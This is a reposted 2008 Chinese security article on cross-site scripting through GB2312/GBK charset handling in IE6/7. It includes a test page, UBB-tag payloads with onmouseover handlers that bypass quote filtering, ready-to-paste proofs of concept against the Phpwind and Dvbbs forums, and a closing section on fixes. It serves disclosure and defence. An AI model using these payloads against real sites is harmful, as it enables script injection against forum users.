注册本站  论坛  繁體中文

电脑技巧
手机 | MP3 | MP4 | 显卡 | 主板 | 显示器 | 光存储 | 笔记本 | 网络设备 | 移动存储 | 数码相机
键鼠 | CPU | 音箱 | GPS | 电视 | 服务器 | 投影机 | 机箱电源 | 品牌电脑 | 办公打印 |
| 网站首页 | Cisco | Windows | Linux | Java | Dotnet | Oracle | 网页设计 | 平面设计 | 安全 | 软件应用 | 电脑维修 | 办公维修 |
您现在的位置: 电脑技巧 >> 安全 >> 网络安全 >> 安全正文

小心字符集导致的浏览器跨站脚本攻击

文章来源:安全中国 作者:佚名 更新时间:2008-6-28 20:40:36 【 】 【加入收藏
    在一般的web程序里,显示数据给浏览器的时候都会指定一个字符集,在国内平时我们用到的字符集有utf-8,GBK,gb2312等等,字符集指示了浏览器该如何对待返回的数据。其中gb2312和GBK字符集使用得非常广泛,但是经证明,IE在处理这些宽字符集的时候存在问题,导致可能程序的一些安全规则被Bypass掉,引发严重的跨站脚本安全漏洞。在IE里,如果它遇到一个字符,它是指定字符集里的第一位的时候,就会认为其后续字符和当前字符构成一个合法的字符,这样它在解析包括html标签,处理javascript,Css时都会做如此考虑,测试版本为ie6和ie7。

  1 Bypass某些js的检查规则

〈HTML>
〈HEAD>
〈TITLE>80sec test〈/TITLE>
〈meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
〈/HEAD>
〈BODY>
〈script>
window.onerror=function(){
alert('Vul');
return true;
}
〈/script>
〈script>x='〈?php echo chr(0xC1);?>';y='[User_IN_PUT]‘;〈/script>
〈/BODY>
〈/HTML>


  这里即使是过滤了〈>’\等字符一样可以利用非法字符集序列来实现\的作用,因为它会把原来存在的’给结合掉,然后前面的’找不到闭合,后面[User_IN_PUT]就可以用来执行js代码了。

  2 Bypass某些属性的检查规则

  为了避免直接使用html导致出现漏洞,一些论坛和程序使用了UBB标签,但是在gbk等多字节编码下,一样容易出现问题,以最容易出现问题的一个UBB标签为例子:

color=xyz〈?php echo chr(0xC1);?>][/color][color=abc onmouseover=alert(/xss/) s=〈?php echo chr(0xC1);?>]exploited[/color]

0xC1是一个gb2312的第一个字节,上面结果将会转化为:
〈font color="xyz?>〈/font>〈font color="abc onmouseover=alert(/xss/) s=?>exploited〈/font>


  其中的

alert(/xss/)


  将会做一个事件执行,所以即使UBB标签也变得不安全,能饶过”的保护。许多论坛都没有注意这点,phpwind,动网等论坛就容易受到这种攻击。而Discuz通过在转换结果之后附加一个空格,修补了这一安全问题。这里使用到ubb标签其实有一个很有意思的tips在里面,因为有的数据库会抛弃与指定字符集不匹配的字符,所以必须借助后面的]等字符来形成一个有效的汉字才能存储到数据库里,当然像ACCESS这种就不会有问题了,另外一些语言在处理字符串的时候会强制字符串的字符集类型,不合法的字符会导致转码的失败或者遭到抛弃,所以也不能利用这种类型的攻击。

  3 几个小例子

  Phpwind论坛charset跨站脚本漏洞

[email=xxxx羃[/email][email=xxxx onmouseover=alert() s=羃]Fuck Me[/email]
[font=宋体;0xc1]xxx[/font]xx


  羃是一个特殊的十六进制编码和后面的]结合出来的字符,第一个种方法可以直接复制的:)

  0xc1表示一个十六进制的字符编码

  同样在dvbbs论坛也很容易产生一个xss代码如下

<font face="微软雅羃>xxxxxxxxxxx〈/font>〈font face=" onmouseover=alert() x=羃>xxxxxxxxxxx〈/font>

  均在新版和老版测试通过。

  4 关于修复

  对于程序设计者,由于UTF-8字符集的可靠性,不存在这个安全漏洞,所以大家在设计站点的时候可以考虑使用UTF-8字符集。

  对于广大开发者,可以牢记最小输入等于最大安全的原则,在匹配正则的时候限制输入的字符的范围,尽量匹配ascii字符,如果必须使用中文,可以考虑类似于discuz的在中文后面添加空格修复该问题。

  对于广大用户,这个漏洞由于浏览器处理页面字符的不同,可以考虑使用如Firefox浏览器,可以避免一部分这样的问题。

  • 上一篇安全:

  • 下一篇安全:
  • 最 新 热 门
     江民推出六大反病毒技术 护航2008网络安全
     最强最精细的 NOD32安全套装设置图文教程
     卡巴斯基防火墙反黑客设置介绍
     经历“误杀门”后 用户如何选择杀毒软件
     打造最安全电脑 2008四大杀毒软件点评
     实用至上 KV2007网络版终极测评
     ESET NOD32杀毒软件最新防护技术介绍
     利用江民KV2008取消文件夹隐藏共享
     国际排名前五杀毒软件 终身免费升级使用
     菜鸟课堂:提升诺顿杀毒功能五个小技巧
    最 新 推 荐
     网站安全堪忧 完善检测机制是出路
     浅析无线异构网络的关键安全技术
     警惕:假农业银行网站借电子邮件钓你上钩
     小心字符集导致的浏览器跨站脚本攻击
     解密“网络通缉令” 三招教你反“人肉搜索”
     网络端口安全防护技巧 网络安全从根抓起
     教你如何防范:服务器缓存投毒和域名劫持
     十大手段可以瞬间毁掉整个互联网
     构建安全服务器环境 阻止网站黑客攻击
     关注奥运安全 网络攻守较量已然悄然开幕
    相 关 文 章

    Ghost系统包含漏洞 小心电脑变肉鸡
    4月30日病毒预警:小心“窗户窟窿下载器”
    4月25日病毒播报:小心BHO劫持者蠕虫病毒
    病毒预警:小心QQ幻想盗号木马
    小心“植木马器”和“玛格尼亚”木马
    病毒预警:小心“时光机盗号器69632”
    4月1日病毒播报:小心“虫尾巴”蠕虫病毒
    小心“REAL蛀虫”“QQ大盗”病毒作恶
    江民病毒播报:小心视频宝宝木马下载器
    瑞星01月24日病毒播报:小心ARP欺骗者变种

    | 设为首页 | 加入收藏 | 联系站长 | 友情链接 | 版权申明 | 网站公告

     

    Copyright 2006-2008 pcjx.com All Rights Reserved
    电脑技巧 版权所有 粤ICP备06059145号 地图
    本网站所有内容未经许可不得转载或做其他使用